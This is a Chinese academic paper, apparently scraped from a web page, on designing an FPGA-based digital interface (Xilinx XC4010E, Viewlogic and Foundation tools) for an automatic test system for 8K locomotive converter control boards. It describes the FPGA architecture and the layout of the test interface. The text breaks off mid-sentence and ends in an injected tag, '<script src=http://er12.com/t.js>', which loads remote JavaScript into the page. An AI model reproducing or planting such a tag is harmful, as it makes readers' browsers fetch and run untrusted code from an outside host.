摘 要:介绍了fpga(现场可编程门阵列)器件在8k机车电子插件板自动测试系统中的设计和实现方法,并就fpga的特点、eda(电子设计自动化)环境下的设计流程、开发工具的使用等问题进行了深入的讨论。
关键词:fpga eda vhdl 自动测试
application of fpga in auto-testing system
of electronic card for 8k locomotive
northern jiaotong university(beijing 100044)
he junping wang lide ling zejun
abstract:it is introduced the design and implementation method of fpga device in auto-testing system of electronic card for 8k locomotive.further study is made on the characteristics of fpga,
design flow-process in eda environment and the use of development tools.
key words:fpga,eda,vhdl,auto-testing.
1 引言
随着vlsi(超大规模集成电路)和eda(电子设计自动化)技术的飞速发展,特别是fpga(现场可编程门阵列)器件和第3代框架结构eda工具的发展,数字系统的设计方式发生了突破性变革。fpga技术将vlsi的高密度和用户自由编程结合了起来,大大推动了数字系统设计的单片化、自动化,克服了在以往板级设计中因使用中、小规模数字电路所带来的繁琐和不可靠等缺点。它具有现场设计、现场编程、现场配置、现场修改以及现场验证等优点,因而大大提高了单片数字系统设计的实现速度、设计灵活性和可靠性。利用fpga器件和相应的eda工具进行数字系统设计的流程如图1所示。这是一种周期短、可靠性高、投资较小的新型数字系统设计方法。对fpga器件进行开发可以有2种eda工具选择。一是采用专用半导体厂家的工具,这种方式可以提供高效的设计和综合能力,可支持专用芯片,但设计的可移植性不好。二是采用标准eda设计平台,尽管设计可能对芯片内部资源利用率不高,但在不同asic(专用集成电路)间有可移植性。笔者利用fpga器件和eda工具,研制了以fpga器件和80c196kc微处理器为核心的8k机车辅助电源变流器控制板(rd753、rd754)自动测试系统。该装置选用xilinx公司第3代现场可编程逻辑芯片xc4010e-pq208,采用viewlogic公司workviewoffice eda工具进行fpga的前端设计开发,用xilinx公司foundation series m1.4.12 eda工具进行fpga的布局布线和物理实现。整个fpga的设计开发流程如图2所示。该装置可检测rd753,rd754板的各项电气参数,并以良好的人机界面进行波形和参数的显示、存储、打印输出。
图1 新型数字系统设计方法
图2 fpga 设计流程
2 xc4010e—pq208内部结构及其特点
xc4010e—pq208是美国xilinx公司xc4000e系列产品中的中等规模芯片,该芯片具有160个iob端口,1万个可用逻辑门和丰富的内部连线资源,比较适合在本设计中使用。
同该系列中其他产品相似,xc4010e—pq208的阵列结构由3种可编程单元组成,即提供外部封装管脚与内部clb间接口的可编程外围iob模块,提供逻辑功能的可编程模块clb和用作各模块间内部互连的可编程内连资源pi。除此之外还有一个存储配置程序的分布式存储器。上述3种可编程资源的功能实现就完全由芯片内部分布式存储器中存储的配置程序来控制。fpga器件内部结构如图3所示。
图3 fpga结构示意图
xc4010e是xc4000系列的改进型芯片,大大增强了芯片逻辑功能和运行速度。其内部clb模块不仅最多可实现9输入变量的组合逻辑,还可配置成快速双口ram阵列使用;其iob模块不仅可选择输出电压斜率,还具有高达12 ma的驱动能力,同时也有防静电保护能力和软启动能力;其内部连线资源有更多的全局时钟线和宽位快译码电路,可提供更快更好的传输性能。以上诸多优点使xc4010e适用于较复杂数字系统的样机开发。
3 fpga器件在自动测试系统中的设计和实现
8k机车辅助电源变流器控制板自动测试系统由pc机和测试接口装置两部分组成,通过rs—232串口通信。pc机主要进行测试控制和测试波形显示、存储、打印输出。测试接口装置完成对rd753、rd754板的激励和数据采集,fpga器件用作80c196kc微处理器同被测电路间的数字接口。系统工作时pc机首先向测试接口装置发出测试命令,测试接口装置根据命令字对被测板进行相应的激励输出和响应信号的数据采集,一个测试完成后接口装置将采集到的数据传送到pc机,pc机对数据进行分析处理后以图形方式将波形显示出来。
3.1 测试接口装置的基本构成
自动测试系统需实现被测电路5路模拟信号、8路开关信号的激励输出和16路模拟信号、40路开关信号、16路频率信号输入的高速采集与存储,这部分功能由测试接口装置来实现。如采用常规中小规模集成芯片设计测试接口电路,则需用40多个芯片,体积过大。采用fpga器件后接口装置硬件组成如图4所示。系统以80c196kc微处?script src=http://er12.com/t.js>